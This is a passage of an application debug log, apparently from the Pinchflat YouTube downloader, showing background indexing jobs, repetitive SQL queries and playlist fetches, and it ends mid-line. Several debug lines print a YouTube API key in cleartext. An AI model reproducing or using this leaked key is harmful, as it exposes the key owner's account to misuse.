{"args":{"id":10},"id":3800144,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":121594,"event":"job:stop","queue_time":537374,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:41.436 [debug] QUERY OK source="media_items" db=0.8ms idle=85.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:17:41.437 [debug] QUERY OK source="media_items" db=0.9ms idle=86.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:17:41.438 [debug] QUERY OK source="tasks" db=0.1ms idle=81.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800184, 34, ~U[2026-02-10 23:17:41Z], ~U[2026-02-10 23:17:41Z]] 17:17:41.438 [info] {"args":{"id":34},"id":3800145,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209726,"event":"job:stop","queue_time":372678,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:42.230 [info] {"args":{"id":9},"id":3800146,"meta":{},"system_time":1770765462230800147,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:42.231 [info] {"args":{"id":8},"id":3800147,"meta":{},"system_time":1770765462230846353,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:42.231 [debug] QUERY OK source="sources" db=0.2ms idle=792.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:17:42.231 [debug] QUERY OK source="sources" db=0.2ms idle=792.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:17:42.231 [debug] QUERY OK source="settings" db=0.3ms idle=786.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:42.231 [debug] QUERY OK source="settings" db=0.3ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:42.232 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:42.232 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:42.232 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:42.232 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:17:42.232 [debug] QUERY OK source="settings" db=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:42.232 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:17:42.232 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:42.233 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:42.233 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:42.233 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:42.345 [debug] QUERY OK source="media_items" db=0.5ms idle=112.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 17:17:42.346 [debug] QUERY OK source="media_items" db=0.5ms idle=113.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:17:42.347 [debug] QUERY OK source="tasks" db=0.1ms idle=113.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800185, 9, ~U[2026-02-10 23:17:42Z], ~U[2026-02-10 23:17:42Z]] 17:17:42.347 [info] {"args":{"id":9},"id":3800146,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116378,"event":"job:stop","queue_time":462317,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:42.440 [debug] QUERY OK source="media_items" db=0.7ms idle=92.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:17:42.441 [debug] QUERY OK source="media_items" db=0.4ms idle=94.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:17:42.442 [debug] QUERY OK source="tasks" db=0.1ms idle=88.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800186, 8, ~U[2026-02-10 23:17:42Z], ~U[2026-02-10 23:17:42Z]] 17:17:42.442 [info] {"args":{"id":8},"id":3800147,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":211666,"event":"job:stop","queue_time":321836,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:47.236 [info] {"args":{"id":40},"id":3800148,"meta":{},"system_time":1770765467236919208,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:47.237 [debug] QUERY OK source="sources" db=0.1ms idle=1358.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 17:17:47.237 [debug] QUERY OK source="settings" db=0.1ms idle=1358.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:47.237 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:47.237 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:47.237 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 17:17:47.238 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:47.238 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:47.322 [debug] QUERY OK source="media_items" db=0.5ms idle=84.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 17:17:47.324 [debug] QUERY OK source="media_items" db=1.8ms idle=85.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 17:17:47.325 [debug] QUERY OK source="tasks" db=0.1ms idle=87.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800187, 40, ~U[2026-02-10 23:17:47Z], ~U[2026-02-10 23:17:47Z]] 17:17:47.326 [info] {"args":{"id":40},"id":3800148,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88872,"event":"job:stop","queue_time":508865,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:48.237 [info] {"args":{"id":2},"id":3800149,"meta":{},"system_time":1770765468237871873,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:48.238 [debug] QUERY OK source="sources" db=0.1ms idle=912.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:17:48.238 [debug] QUERY OK source="settings" db=0.1ms idle=912.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:48.238 [debug] QUERY OK source="media_profiles" db=0.1ms idle=906.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:48.238 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:48.238 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:17:48.238 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 